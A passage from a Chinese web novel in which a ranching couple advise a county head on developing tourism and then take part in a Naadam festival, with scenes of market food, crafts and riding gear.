“让娃他爹来孵！”姚新泉一锤定音,虽然不知道具体的来龙去脉，但是蛋肯定是他的。 既然找不着娃他妈，那就只能找娃他爹了。 她又看向小金,“你们都知道对不对？” 这屋里都是些啥？ 金雕、猎豹、雪豹、沙漠猫还有好多狗狗们,大雪豹伤好之后就离开了,小雪豹没跟着他妈走,他要留下来过好日子。 如果在外面的话,红隼在天上飞着,除了金雕，哪个都挨不着他，除非他落地，那别的动物才有可能捕猎到他。 但是一旦进了屋子,就连沙漠猫都有可能捕杀他,如果没其他小动物的同意,雌红隼怎么可能进来生蛋？ “我估计雌红隼就是害怕这里的小动物，所以蛋也不孵就跑了。” 能进来下蛋估计都已经把人家吓到肝儿颤了！ 红隼不满地趴在窝里朝她叫，姚新泉还没说话呢,小金突然叫了一声,声音中满是训斥的意味，红隼被吓了一跳,也不敢再干嘛了,委屈巴巴地转过身不去看他们。 姚新泉失笑,她戳了戳红隼的头,“你这家伙真是个刺儿头”，也就是有小金，不然这家伙仗着制空权，肯定要把他们牧场里的家禽糟蹋完！ 哪里会像现在这样,自己把他放在窝里，他就老老实实的？ “你窝着吧，等你大姐大给你送饭来！” 印象中红隼的孵化期大概是27-29天，在这期间得给红隼好好补补。 石县长刚到县委时不少领导都出来接他了，他摆了摆手示意众人各自去忙，跟书记聊了许久后忍不住笑了起来，“有张书记您给咱们把控方向和大局，我这日后工作起来心里也就有底了。” 张书记笑着摆了摆手，“你可别给我戴高帽了，咱俩的行政级别一样，你也别‘您’啊‘您’地叫，听得我心慌！” 两人都笑了起来，“老彭他”，提到前任县长他不免也有些唏嘘，“老彭做事急躁，他手下的那个旅游局局长更是个急性子，两人一心琢磨着要把旅游业发展起来，蒙着头就干，难免有做的不到位的地方。但要说他们有什么坏心，那我可以担保是肯定没有的。” 石县长笑着点了点头，心里却不以为然。 “坏心”？有几个干部是真的有坏心的？ 但哪怕只是粗心或者没那么上心，他们作为责任人，有这个处罚结果也不算苛刻。 不过这也给他敲了个警钟，事情不能急着做。 “去把林业局局长叫来，另外去市里的林业局、农业局以及高校了解一下有没有关于咱们县野生动物种群的普查结果，包括野生动物分布图等信息。另外还可以在基层老百姓那里了解一下有没有人知道相关情况的”，野生动物保护法才实施几年，下面人可不一定真的清楚有些野生动物是禁止捕杀的，况且就算他们知道，有些人一样会犯。 他倒不是想钓鱼执法，只是觉得有了解的途经就别错过了。 石县长来之前是了解了一番源县的基本情况的，因为想搞旅游业，所以当地的一些基础设施也是有去做，比方说之前那位也确实联系打通了一些线路，在某些除了旅游之外也能用到的路上铺了柏油马路。 有火车直达市里，但是不通到县里，所以他们也安排了专门的线路大巴，在旅游人数并没有那么多的时候，暂时是可以供应的。 出了这一茬事情后，短期内应该也没有太多人会过来的，有的是时间给他慢慢发展。 住宿也是有基本的保障的，什么几星酒店这种就不用提了，招待所还是有不少的，条件说不上太好，但是至少干净。 石县长是想着将来可以搞一些地方特色的住宿，像是什么毡房、蒙古包或者是木屋之类的，想来游客还是很有兴趣的。 餐饮的话，招待所是不提供饭的，旅游的地方相对都比较偏，目前是没什么人过去搞餐饮，之后都得考虑起来。 另外，供电、供水、信号还有厕所这些也都得解决，这都是目前有一些基础，但是需要完善的环节。 不过石县长现在的重心还是放在三个部分，一个是怎么在不伤害野生动物的情况下，保证安全的旅游，另一个则是医疗条件的保证，还有就是不能再发生诸如盗窃等问题了。 源县的几位副县长都不太能抗事，能力也一般，不然这种情况下，完全是可以提拔一个副县长上来，而不是从隔壁县调人。 也因为这，石县长暂时是没打算对他们委以重任的。 张书记也是这个意思，所以目前公安这块儿是向他负责，石县长就不用操心这一块儿了。 但是不管是卫生还是旅游亦或者林业这几部分都是他负责的，他的担子不轻啊！ 特别是旅游业，旅游局的局长也下去了，同样的情况，副局长没能提拔上来，在上面新的人事任免下来之前，石县长还得兼一些旅游局的工作。 一天的工作对接下来，石县长只觉得大脑胀痛。他找出一张信纸将自己的工作总结记录下来，等有空了打算拿给秦威。 一方面他毕竟在那边待了这么些年，也有感情了，不是说人走了就再跟他没关系了，另外那还是他战友呢，两人互帮互助有什么问题？ 秦县长拿到石县长送给自己的笔记后心里很是感激，给他打了个电话道谢，石县长笑道，“只是给你个参考，咱们两个县的情况也不是完全一样，大家共同进步嘛！” 石县长想的很开，什么行业如果只有一家干得不错，那这个行业肯定没什么前景，就得百花齐放才行啊！ 如果以后人家内地人或者外国人打听新省的旅游景点，人家只知道一个源县，有什么用？难不成人家还会说就为你一个景点专门大老远跑过来一次？ 还不够折腾呢！ 再说了也划不来啊！ 那肯定是我先去了A地，再去B县，再去C市，景点越多不才更能吸引游客嘛？ 上桌的越多越好！ 秦县长挂断电话后琢磨了一会儿，也跟下属讨论了一些，总觉得有些食之无味，想到石县长临走时专门跟他提的那小两口，他犹豫了一会儿还是打了电话。 姚新泉接到电话时还有点懵，但到底还是答应了跟师月江去县委一趟。 她看着师月江忍不住笑，“不都说一朝天子一朝臣嘛？咱们某种意义上应该算石县长的亲信吧？这老大都换了，竟然还找咱？” 师月江戳了戳她的脑袋，“要不说人家能当领导呢，就不是个傻的，有什么事情找咱们，又是县里的事情，咱们是疯了才不好好做！” 要是石县长还在本地，秦县长是个副的，而且跟他打擂台的话，那对方肯定是不可能信任他们俩的。 但现在石县长走了，而且那两人关系还不错，最重要的是姚新泉的牧场就在这里，她又不会走，所以有什么好担心的？ 人能用，肯定还是要用的呀！ 姚新泉哼了一声，临走前去看了看在生无可恋孵蛋的红隼，警告他不许遗弃孩子后这才下山。 两人到了县委后一群人都在跟他们打招呼，姚新泉像是才反应过来一样，“我们竟然认识这么多人了？” 师月江失笑，“不然呢？” 他们俩隔三岔五跑县委，又跟几个领导关系都不错，还跟好几个人之前在乌洽会共事过，所以认识的人自然是不少的。 两人刚到了门口后秦县长的秘书就请两人进去，“县长说了，二位要是到了那就直接请两位进去。” 两人进去后秦县长很是客气地让两人坐，他看着挺年轻的，三十来岁的样子，听石县长说，对方参军时间不算特别长，但也上过战场。不过他运气不好，受了伤还留了后遗症，至少是没办法继续当兵了，无奈只能退伍。 但人家那是真的干一行，行一行。 人家退伍后就赶上了高考恢复，小小年纪又出去读大学了，毕业后因为履历漂亮人也有能力，升的很快，三十出头的年纪就到了县的一二把手了。 三人算是第一次见面，但秦县长一点没有生疏的意思，他很自如地跟两人聊天，并解释了让两人过来的原因。 “我请二位过来主要是两件事，第一件事还是跟乌洽会有关的。之前咱们在电话里粗粗谈了一些，但我觉得还是当面好好聊聊比较合适。第二件事就是石县长给我提供了一份他的工作记录，不涉密，主要是一些工作思路，我也在思考咱们县能不能也发展旅游业，如果发展，又有什么特色呢？总不能照抄人家的吧？” 不过他心里想的是，就算抄那也要抄满分的试卷吧？源县算是先驱，但也只是个试路人而已，从他们县发生的事情也可以看出，他们县里问题还很大，所以就算要抄，那也不能盲目地抄。 别到时候好的没抄回来，抄回来了一屁股麻烦！ 第213章 姚新泉和师月江两人对视一眼,没想到秦县长会拉着两人聊这些，不过既然提到了，两人有 什么想法也都直说。 “咱们县挺大的,但是人就这么多,真弄出什么新鲜物件儿也难”,他们县可没以技术取胜,不管是织布还是什么的,那都是走的人工织就,精工出细活。 他们县因为去年的乌洽会在经济上确实是有好转了，但不管是采购机器还是其他什么的都不是一朝一夕的事情，得慢慢来，这也是石县长之前计划好了的。 秦县长是认同这个想法的,但也不能完全没任何新鲜东西就去参加今年的乌洽会吧？ “我是想着,咱们看能不能提升产品的时尚感呢？去将咱们本土的、带有民族特色的东西做出都市的味道来,我觉得可能城里人更能接受。” 不是她瞧不上最原始的这些东西，但是说实话，不管是上班还是逛街,有几个小姑娘真顶着头上戴着禽类羽毛的大帽子到处跑的？ 布匹也一样,太过于传统的不是说没有市场，但是确实可以开发出一些新鲜东西啊！ “可以去咱们市的大学里看看有没有专门学这些艺术相关专业的人,看能不能结合咱们的特色开发一些新的花色或者别的东西,我觉得那些外商未必接受不了。” 像是去年那些浅色系的艾德莱斯不就有人很喜欢？ 秦县长赞同地点了点头,他觉得挺有道理的。 然后姚新泉就接着说旅游的事情,“我觉得咱得找到自己的特色”，一旁听着的两个男人都点头，可不是？要是没特色，人家凭什么来？ “像源县,他们的草原就特别好”，不是别的地方没草原，而是他们源县的草原有特色，他们那的草原海拔相对比较低，算是山间一盆地，降水也更丰富，因此植被异常茂盛，绿得更加浓郁、油润，视觉上就会让人觉得更治愈和舒适。 “咱们县的则不太一样，咱们县的草原海拔很高，但是却因为无数年的地质运动和风雨侵蚀导致地面起伏和缓、没有尖锐棱角的丘陵地带。这些丘陵的坡度非常舒缓，线条极其流畅，更具野性和原始美，两种草原的美是不一样的。” 秦县长被她说得有点头疼，这么文艺的吗？ 不都是草原？有那么大的区别？ 师月江看懂了对方的意思，只是低头笑了笑，他觉得有，他之前自驾游的时候两边草原都去过，确实给人的感觉很不一样，不过这些感觉很多时候就见仁见智了。 “咱们想搞旅游业，想开发这些草原、森林的话，那也得更有特色地开发，得找专业人士”，让她玩儿那是没问题，让她去思考怎么开发景点，那不开玩笑嘛？ 秦县长也笑了，他不好直接拍姚新泉，就拍了拍师月江的肩膀，看起来很亲切，“那你们知道得找什么专业认识吗？咱们县里这些干部玩儿都不会玩儿，哪里知道这些呢！” 师月江想了想才道，“得找生态学家，我觉得这是最重要的，因为需要他们来评估草原生态系统的承载力，确定哪些区域可以开发，哪些必须严格保护。也能防止过度放牧、草场退化。还能研究动植物资源，不管是对保护环境还是保护野生动植物都有很大的意义。” 这开发不是拍脑袋就能搞，必须得好好规划好好设计，毕竟这不说什么利在千秋吧，但至少不能说是我在1993年开发了，结果1995年就出了问题，当初的投入全都打水漂了吧？肯定得规划好。 “另外地质、水文相关领域的专家也得找，毕竟开发景点是为了让人去的，而且这些自然景观也大多都是在人迹罕至的地方，那地形、地貌、水文条件都得勘察，日后也能为道路选址、建筑地基、排水系统等提供科学依据，修建道路的话土木这一块儿也得找人。” “还有很重要的一点，还得评估地质灾害，像是山区易发生的滑坡、泥石流这些都得尽量避免。”万一人一多了，发生点自然灾害再出现点大问题，那真是从上到下大家一起倒霉吧！ 秦县长已经拿出本子记录了，他可不觉得自己问个小年轻有什么问题，他是小老百姓家庭出身，能走到这一步靠的就是自己肯去请教去学，去不耻下问。 “像建筑师也可以考虑，房子也不是我随便砌一下就行，咱们可以找人设计具有咱们民族特色的蒙古包、毡房、木屋等等，又好看又有趣跟自然环境也协调。” “另外只有景点没有文化也不行，咱们可以挖掘一些本地的历史、传说、习俗、节庆等等，尽量能融入景点，这样也更显得有内涵和深度，更吸引人！” …… 师月江两人提了一堆意见后被秦县长笑着送走了，一路上很是客气，引人侧目。 这边刚开始计划开发旅游相关产业，并且要把安全问题放在首位去解决，他们不知道的是，另一边才出了安全问题的源县已经被逼着去搞活动振奋一下大家的士气了。 石岳文一脸不可置信地挂断电话，半晌气得拿起搪瓷缸子就想砸，可又实在不忍心，这可是自己之前在部队得标兵发的呢！ 他小心把缸子放在桌子上，头疼地搓了下脸，朝外面喊，“去把宣传部、文化局、民委、体育局、公安局”，他顿了下，“算了，通知各个部门的负责人明天上午10点在县委开会，我去一趟书记那边。” 等到了张书记那里他见人就苦笑，“快坐，你也接到电话了？” 张书记脸色也没比他好多少，两人坐在一起对着叹了口气，随后都笑了起来。 “上面既然下了命令，那就肯定得干”，石岳文一锤定音，这事儿没啥可说的，再不着调的命令也是命令，他去当兵最先学的就是要听命令行事，有什么不满意的他可以事后去提，但是事情得做。 张书记也叹气点头，“不过这事儿不好做啊！” 才出了那么大的事情，别说外地了，本地的人都未必愿意过去那边啊！ 过来的路上石岳文也大概有了思路，他组织了下语言，“时间太短了，好多安全问题都没解决，所以咱肯定不能往那深山老林里跑，就在草原上吧，离得近，去的人也多，也没什么危险因素。” “活动的话我觉得不行就搞那达慕大会，咱们当地有蒙古族人，叫那达慕大会也没问题，而且这名字传的也久远，知道的人也多，更容易打出名气来。” “活动的话像是赛马、摔跤、射箭这些那达慕本来就有的活动咱也搞，还有咱们哈族的阿肯弹唱、姑娘追、叼羊，都搞！” 石岳文都要烦死了，上面非要让他搞旅游活动，意思是说要压一压当 时那些不好的新闻，但是你也要考虑实际情况啊！ 当时那几个游客哪怕没有深入到草原森林深处，但那也是在很靠里面的位置了，出了意外他说不好听一点，县里问题很大，但游客自己也有点胆子太大了。 现在出了事情，他们要自纠自查还得改良，反正要做的事情特别多，还让他们搞旅游活动？ 北疆这边最适合搞活动的就是7月到9月，这时草原水草丰美，气候宜人，再往后的话温度就要降下来了，不方便。 可现在已经7月了！ 他真是头都大了。 但来的路上他也想明白了，搞活动又不是一定要跟自然景观挂钩，他可以搞人文旅游活动啊！ 草原深处不安全，但是也有很安全的地方，就在那一片儿呗！ 让游客骑马射箭摔跤，体验当地的民俗风情，还能品尝当地的美食，喝奶茶吃羊肉，这不也挺好？ 关键是安全！ 最重要的是安全！ 至于有没有游客敢在这时候来，不重要！ 没人来他们就自己玩！把周围几个县的好手都叫来，然后再把记者电视台的都请来，在电视上播！大家都能看到！ 张书记忍不住笑了起来，“老石你可真是！不过这点子不错！” 县里两个领导都因为安全问题下去了，那现在肯定最重要的就是安全！ 石岳文也笑了，“那暂时就这么计划？我找了县里各部门领导过来开会，明天早晨10点，张书记也出席一下？” 张书记自然没有意见，很是给面子地送他到门口。 石岳文笑道，“张书记留步。” 两人告别后，石岳文就回了自己办公室，开始着手准备起来。 他知道这事儿时间紧任务重，但也没办法，既然上面下了命令，那就得好好完成。 他得先跟那几个部门的领导打个电话说一声，让他们有个准备，别到时候明天开会抓瞎，那就浪费时间了。 他是计划8月份举办活动的，到时候还得跟气象那边确定好，得找个没雨的天气，不然这么多户外活动，如果下雨就扫兴了。 本地老百姓愿意来的可以来，文化局体育局那边得多出一些人参与，还有很多基层老百姓也有特长，少数民族能歌善舞的多了去了，这不就是展示的舞台？ 搞起来！ 第214章 姚新泉大概是在半个月之后接到石县长的电话的,她一听到声音便笑了起来，“石县长你这个大忙人怎么有空给我们打电话的？” 石岳文也笑，随后把自己的来意说明了。 “那达慕大会？”姚新泉愣了一下,“邀请我们参加吗？是参加活动还是去热闹热闹？” “我给你打电话当然是来邀请你参加活动的,我可是知道你在骑马上很有说头,至于你家师月江,那么个大小伙子,去摔跤或者射箭不都行？或者姑娘追、叼羊,都能行！我这次是邀请了咱们市的所有县都来参加，县内部应该也是要选拔的，你可以去找小秦报名，凭你们的本事想来是没什么问题的。” 还别说,姚新泉还真挺感兴趣的,挂了电话后征询了师月江的意见,两人就去报名了赛马、射箭、摔跤和叼羊，算是非常踊跃参加了。 两人顺利通过了选拔，都入选了县队,只等参加活动了。 在此期间,市新闻、县新闻都有播报关于源县要开办那达慕大会活动的新闻，到处都有人在聊这次的活动,宣传可以说是铺天盖地了。 很快,到了开幕日。 本次活动从开幕日到结束总共是四天,姚新泉两人看了一下活动安排,觉得时间还可以，哪怕是参与了多项比赛，也不至于说是错不开。 8月21日是开幕式，10点半开始进场,周边也有民俗集市，逛逛买点民俗手工艺品或者食物都可以。 12点到1点半则是开幕式，还有一些歌舞表演。 下午四点半到六点则是当日的重点活动，万马奔腾，上百名骑手带着马群在草原上奔腾，这项活动要求骑手的骑术必须足够靠谱，胆子还得够大才能领跑，毕竟这种时候一个闹不好那就得被后面的马踩死！ 六点半到七点半则是安排了一些趣味性的非竞技性活动，比方说马术表演、骆驼赛跑等等。 第二天上午是摔跤预赛和复赛，下午是射箭的预赛和复赛，六点半到七点半则是赛马中的长距离耐力赛的预赛。 第三天是速度赛马预赛和摔跤的决赛，下午则是叼羊还有速度赛马以及长距离耐力赛的决赛。 最后一天上午是姑娘追和射箭的决赛，下午是叼羊的决赛还有闭幕式。 在此期间，每天晚上都有篝火晚会以及各种表演，还有阿肯弹唱。 两人对这个活动都很有兴致，为此还专门把师星野也叫了过来。 师星野也是感兴趣，不过他赶不上开幕式，下午的万马奔腾倒是可以看一看。 为此他还专门找了团队来拍摄，他有预感，这小两口肯定会很出彩的！ 一大早姚新泉和师月江就和县里的队伍去会和了，姚新泉骑着皮皮，师月江骑着平安，两人都没有骑汗血宝马。 一方面是因为这马太贵了，又太出挑，拉出去太过于惹人注意，两人不太喜欢。 另一方面平时两人都没怎么骑他们，更多的是让那一家三口在牧场上晃荡，偶尔师星野过来才会骑着逛一逛，两人跟他们一家不算太熟，这种比赛还是跟熟悉的有默契的马一起比较好。 出发前姚新泉又给平安检查了一下马腿，各方面都恢复如初了，身体条件非常不错，不过两人都没去报名长距离赛马，只报名了十公里的竞速赛。 虽然上面没要求必须得穿民族特色服装，但是姚新泉两人还是换了轻便的骑马装。 众人在县委集合，身边不少人的目光都不自觉落在两人身上。 师月江穿着一件浅褐色的亚麻布衬衫，款式宽松，袖口被随意地挽至小臂，露出晒成小麦色的手腕。衬衫的领口和襟边，镶着一道深棕色的细绳滚边，这是全身上下唯一的装饰，针脚细密而结实。 一条宽皮带勒住腰身，他本就偏瘦，乍一看那小腰细细的，跟个大姑娘一样。 皮带上的铜扣是刻意选的做旧款，颜色暗沉一些却更显质感。 裤子是一条深灰色的棉质长裤，裤腿被收进一双软皮马靴里，靴子妥帖地裹住小腿，显得腿又直又长。 姚新泉上身则是穿一件浅米 色的长袖衬衫，由轻薄的棉麻混纺制成，衬衫的版型略微宽松，以便通风透气。 衬衫的袖口做得很窄，用一粒小小的包布扣系住，方便活动。 领口是简洁的小立领，紧扣着脖颈。衣襟和前胸处，沿着边线绣着一道道精细的褐色与金色丝线交织的羊角纹与花草纹，图案细密而规整，这是她特意找了熟手去绣的，很是精致。 下身是一条深茶色的马裤，由耐磨而柔软的灯芯绒布制成，倒也不是不怕热，主要是这几天要骑马，长久地在马鞍上摩擦，她腿肯定受不了，所以专门让人家用灯芯绒布做的。 裤腿笔直而略显宽松，衬衫的下摆被收进裤腰里，在脚踝处明显收窄，被紧紧地塞进一双棕色软皮马靴里。 姚新泉外面还随意地套着一件深蓝色的缎面无袖坎肩，坎肩很短，刚及腰部，对襟敞开着，边缘镶着一道细细的棕红色滚边，瞬间让她这一身浓烈了起来，很是好看。 头发利落地扎了个马尾，她没戴帽子，不过她把上次自己花大价钱买下的那顶帽子装在了包里，里面还有几身换洗的衣服，包括两身裙子，有的是穿戴的时候。 两人的衣着为了方便骑马既无累赘的佩饰，也没有繁复的剪裁，只在细微处点缀着恰到好处的绣纹，透露出一种属于草原民族的、干净利落的精致。 两人正等着突然听到一声“师月江”均回头看去，就见乌日图笑着骑马过来朝两人打了声招呼，“我也参加，到时候咱们赛场见！” 除了叼羊之外，别的其实基本都是个人赛，确实是可以一较高下的时候。 没等一会儿秦县长带着文化局、体育局、旅游局的相关领导在前方简单讲话后上了一辆大巴车，车上基本都是后勤保障的相关人员，虽然说主办方不管是食物、饮水还是医疗方面都做了准备，但是他们也得自己多一重准备，所以也带了不少后勤人员，他们是坐车去。 “出发！” 大巴车在前面开，其他人在后面骑马，众人倒也没有比拼速度，时间还早，而且两个县不算远。 八月的早晨温度不算很高，姚新泉看了下系统的天气预报，温度也就16度左右，中午大概能回暖到二十八九度。 天是浅灰色的，东方才刚透出些鱼肚白，草叶上凝着露水，沉甸甸地压弯了叶尖，马蹄踏过去，便洇湿了一小圈深色的痕迹。 一行三十多人每人一匹马，也算是不小的马队了，就在这朦胧的晨光里上了路。 马儿们精神都很不错，步子迈得轻快，鼻息喷出的白汽短促而清晰，一群马儿们凑到一起更是起了比拼的心思，哪怕不用骑手催促，一个个也都蒙头用力跑了起来。 但这份宁静与清爽并未持续太久，随着日头渐渐升高，空气里水汽褪去，马队在路上跑起来时扬起了一片灰尘。 姚新泉叹了口气，把自己之前束在脖子上的三角巾扯到了脸上挡灰，不过即便如此，她估计过会儿下马的时候自己鼻孔里肯定全是黑的！ 这边的路不是柏油马路，之前铺过石子路，但是走的时间太长后，石子越来越薄，底下的土路也渐渐冒了出来。 不过石子少也挺好的，马跑在石子路上很是伤马蹄，对关节也不好。 皮皮从来没有和这么多马一起奔跑过，简直激动得不能自已。 她倒没做什么事情，不过神情中的激动是完全掩饰不住的，看是师月江有些担心。 见他转过来看了好几眼，姚新泉忍不住笑，她拉高了声音，“皮皮很乖，她不会做什么的！” 师月江无奈笑笑。 没多久众人就到了源县，进了源县地界儿后就发现他们是真做了不少准备，他们专门弄了路标指引大家去库尔逊喀拉草原。 众人顺着路标指引一路到了草原上才停了下来，秦县长也安排了人在接待他们。 接待的人告诉他们把马栓到一个固定的地方后便可以先去逛一逛了，“周围的摊子已经铺起来了，吃的喝的都有，你们可以去逛逛。” 众人谢过后没有立马将马拴住，而是牵着马在边缘逛了十来分钟后这才牵马回去拴住。 马匹在剧烈运动后不能立刻静止站立，否则容易引发叠筋或肌肉僵硬。让马慢步行走可以促进血液循环，帮助肌肉乳酸代谢，平稳降低心率和呼吸。 姚新泉摸了摸两匹马的心率又观察了下没什么异样这才放下心来，随后她又摸了摸马腿，尤其是平安的，确认没有异常发热，更没有肿胀或者痛处这才放下心来，给两个小家伙喂了些水后打算出去先逛一逛。 乌日图跟在一边也照做，他知道姚新泉是很好的兽医，自己跟着做只有好处的。 第215章 姚新泉两人打算先去集市上转一转,乌日图本想跟着，但见两人黏黏糊糊在一起，自己一个电灯泡在这里实在是有点尴尬,干脆就跑去找其他人一起。 今天的天儿特别好,十点多太阳已经不小了,万里无云,有点晒,却又不会太热,逛起来还挺舒服的。 “其实也算个小巴扎”，姚新泉感慨，这边排了大概二三十个摊位，据说另一边还有二三十个。 空气中弥漫着烤肉的焦香和奶制品的醇味,混杂着草原特有的清新气息。姚新泉抽了抽鼻子,眼睛顿时亮了起来,拉着师月江的手腕便往那香味最浓郁处走去。 那是一个烤羊肉串的摊子，前面已经排了好几个人了。姚新泉挤过去看了一眼，就见那摊主是个脸颊红润的维吾尔大叔,头戴一顶绣花小帽,手里的扇子不住地对着炭火扇动。 铁架上的肉串被烤的滋滋作响，肥油滴入炭火中,激起一小簇一小簇的火星。烤肉大叔先是大火急烤锁住肉汁,再文火慢煨让调料入味,最后又用猛火逼出焦香。那肉块切得方正,肥瘦相间，串在签子上，烤得外焦里嫩，撒上一把孜然和辣椒面,香气简直要把人的魂儿勾了去。 姚新泉忍不住嘀咕，“这一大早吃烤肉，不会腻吗？” 她看了师月江一眼，“那咱们就要两串尝尝味儿啊！老板，来两串！” “不是腻吗？”师月江好笑地揽住她的肩膀，姚新泉理所当然道，“所以我只买了两串，一人一串啊！” 羊肉串隔壁是个卖包尔萨克的摊位，一位维族老太太坐在小凳上，她面前支着一口黑铁锅，锅里的油正滚得欢快。 姚新泉让师月江在这儿排队，自己跑到这个摊位前排队去了。就见老人家手指灵巧地将一小团面团捏成小方块，下入油锅，那面块便在油中迅速膨胀、变色，不一会儿就浮了上来，变成金黄色的空心小方块。 她用漏勺将炸物捞起，沥干油，堆在旁边的铁盘里，垒成一座小小的金山。刚出锅的包尔萨克烫手得很，前面的人拿到自己的迫不及待咬下去，姚新泉只看着都觉得好吃！外脆内软，应该还带着淡淡的咸味，好香啊！ 再往前则是卖奶制品的摊位，桌面上摆着一块蓝色的粗布上，看着干净又整洁，上面摆放着有奶疙瘩、装在牛皮纸袋子里的酥油，还有奶豆腐。 一旁还放着一壶壶的马□□，装在传统的皮囊里，摊主不时摇晃一下，发出咕咚咕咚的声响。 姚新泉买完包尔萨克又凑了过去，“老板，来一壶！” 她接过师月江递来的羊肉串咬了一大口，肉香、油香还有调料的味道完美结合在一起，又是刚烤出来的，姚新泉感觉舌头都要香掉啦！ 她喝了一大口马□□，又递给师月江让他也尝尝。师月江喝了一口被酸的鼻子都皱了起来，姚新泉见了哈哈大笑。 师月江没好气地用头撞了撞她的，“你故意的是吧？” 姚新泉自然不认，“你 好好品，不觉得是回甘的吗？你再尝尝？” 师月江缓了一会儿，等那波酸味过去后，只觉得嘴里剩下的是马奶的醇香，确实透着甜。 “再来一口。” 两人没再买别的，他们早晨是吃了早饭过来的，现在还没多久，确实没饿，先买点儿解解馋也就算了，等中午再正经吃饭，毕竟下午可是有大事儿呢！ 两人又逛去了手工艺品的摊位，手工艺品的摊位算是在偏外围的地方，两人去的时候一位哈萨克妇女正在现场刺绣呢，只见她手中针线飞舞，不一会儿，一朵鲜艳的花朵便在布面上绽放。 姚新泉再看向摊位，上面有帽子、手套、壁挂，绣的图案多是草原上的花卉和动物，色彩艳丽却不俗气很有特色。 针脚密实整齐，明显功夫深厚。 姚新泉拿起了一副女士手套，这副女士手套针脚细密，配色柔和。米白的底布上，用浅棕与暗红丝线绣出鹿角与花草的纹样，边缘滚一道深咖啡色的边。 手套指尖处收得窄，她戴上去试了试，腕口略宽，刚好卡在手腕处，内侧衬着薄绒，触手生温。 姚新泉今天没戴手套过来，一看就觉得喜欢，“这个我要了。” 随后又拿起了一副男士手套，这副男士手套以深褐色驼绒为底，针脚密实挺括。比起精致的女士手套肯定是相对简单一点了，但腕口处还有有一朵云朵。 掌心部位未绣花，保留皮革原色，便于握缰绳。 姚新泉递给他试了试见也合适的，便挥了挥这一副，“这个我也要了，老板，算个钱！” 再往前有皮革摊位，有木雕摊位，还有饰品摊位，姚新泉拉着师月江停在了饰品摊位上。 她的目光不由自主落在了一套额饰上，那算是一套比较繁复的饰品了，两指宽的银带缀满压花纹，中央嵌了一枚暗红的玛瑙，两侧垂下细链，链尾挂着水滴形银珠子，行动时应该会发出细碎的轻响。 师月江拿起后在姚新泉脸上比划了一下，“老板，这个我要了”，他见身后也有人喜欢，赶忙先定了下来再看别的。 两人一路吃一路逛，终于到了开幕式的时间了。 两人找到了队伍跟大家汇合，随后去骑马。 上午的开幕式是有进场仪式的，所有参与活动的人员骑着马组成方队进入场地。 会场中央早已搭起高台，红地毯铺的老长了。数面彩旗在风中猎猎作响，看起来竟有一种别样的气势。 高台两侧排列着整齐的座椅，这是专门为各级领导与贵宾所设的。前面有一片空阔场地，是用来表演和竞技的，当然只是射箭和摔跤。 “听说乌市旅游局的领导来了一位”，乌日图小声跟师月江两人嘀咕，“市里更是来了好几个，一把手都过来了。各个县也来了好多人。” 阔克萨依市下面有七个县，这次七个县的县领导都很给面子，不是一把手就是二把手，毕竟市里表现的这么重视，他们不可能拿乔的。 再说了，来的人中不乏有许多是想要吸取吸取经验的，所以来的领导就坐了两三排。 至于其他人的话，那就坐在地上，这都无所谓的，草原上席地而坐算什么？ 姚新泉几人在阿依巴勒县的方队里等候着，就听上面的主持人拿着话筒先说了开场白，又开始介绍各位莅临的领导，其中重点介绍了乌市过来的领导，随后就让领导上台讲话。 讲话的是市里的一位，姚新泉没注意听他是什么职务，对方身材不高，面色黝黑，头戴前进帽，身着蓝色中山装，步履沉稳，他站定在话筒前掏出了演讲稿，“同志们，朋友们……” 姚新泉大概听了一下，讲话内容无非是民族团结、经济发展、文化传承之类。不过跟她以为的严肃讲话不太一样，这位领导虽然看着不太好亲近，讲话稿却意外的亲民有趣，再加上讲话稿也不长，她倒也听得津津有味的。 领导讲话毕，掌声又如潮水般涌起。他退回原位，石县长代表源县领导上前又进行了简短的发言。 北疆的风从来都是这样，哪怕晴天大太阳人家一样吹得自得其乐！ 有时让人觉得烦躁，但此时的风却让气氛愈发热烈。 “入场仪式要开始了，大家准备准备啊！都管好各自的马，可不许在领导面前拉屎！” 听着工作人员絮絮叨叨的叮嘱姚新泉忍俊不禁，她小声凑到师月江耳边，“要真拉了我也没办法啊！” 师月江嗔了她一眼，两人坐好，又牵好缰绳整装待发！ 阿依巴勒县是第三个入场的，众人精神抖擞，马儿似乎也感受到了骑手的郑重，像是皮皮，甚至恨不得抬起前蹄嘶鸣一声！ 姚新泉赶忙轻轻拽了下缰绳，又摸了摸皮皮的脖子安抚这匹人来疯的小马。 吾因别克家就在这附近，知道有活动他早早就跑了过来等候，方才听了一堆讲话只听得他满脑子跟浆糊一样，他年龄还小，虽然上的是汉语学校，但是平时交流还成，这种时候听领导叽里咕噜说了一通只觉得头大。 他都有点想走了，突然听见远处传来马蹄声阵阵，由远及近，如闷雷滚过草原。他不禁踮起脚尖引颈望去，就见一队骑兵正自地平线处奔来，愈来愈近，愈来愈清晰。 为首的人手上还扛着旗子，路过主席台的时候他单手握住缰绳，另一只手握着旗子用力挥舞了起来。 观众们都被他感染，跟着叫了起来，吾因别克也忍不住大叫，恨不得自己就是那位领头的勇士！ 姚新泉几人在队伍里，阿依巴勒县领头的是一位看上去不到三十岁的壮汉，她也不知道对方是什么民族，反正不是汉族，看那大个头，粗膀子。 对方来的时候穿着正常的衣服所以他们倒没注意到，但此时对方专门穿了一件无袖的坎肩，两条满是疙瘩肉的膀子露在外面，姚新泉啧啧两声。 好会啊！ 第216章 很快就到了阿依巴勒县的队伍入场的时候,工作人员紧张地让他们入场，生怕发生点意外。 方队一共三十五人，姚新泉两人跟乌日图并行,那位壮士在最前方,可能是他们不想穿着精美的服装赶路,所以之前汇合的时候没觉得。 但现在,骑手们纷纷身着各色民族服装,红黄蓝绿,鲜艳夺目。马匹亦经过精心打扮，有的鬃毛被编成小辫，还有的上面还系着彩带，不少鞍辔上还镶银嵌铜,在阳光下闪闪发光。 姚新泉看着皮皮鬃毛上的两个大蝴蝶结,觉得自己跟他们格格不入。 但就是很好看啊！蝴蝶结随着加速飘了起来,那个穗穗特别灵动！ 那位壮士手持旗帜，旗面上绣着鹰、马等图案，上面用汉、维两种语言写着阿依巴勒县的名字。 众人策马到主席台前时,那位壮汉一拉缰绳,马随之前蹄抬起嘶鸣，他单手挥舞着旗帜,嘴里发出意味不明的嘶吼,众人不免跟着激动,就连姚新泉和师月江也不免跟着嚎叫,声震四野。 空中还是鸟类在飞翔，姚新泉抽空看了一眼，感觉是小金。 马儿似乎也知今日非同寻常，各个昂首挺胸,步态矫健，引来观众阵阵喝彩。 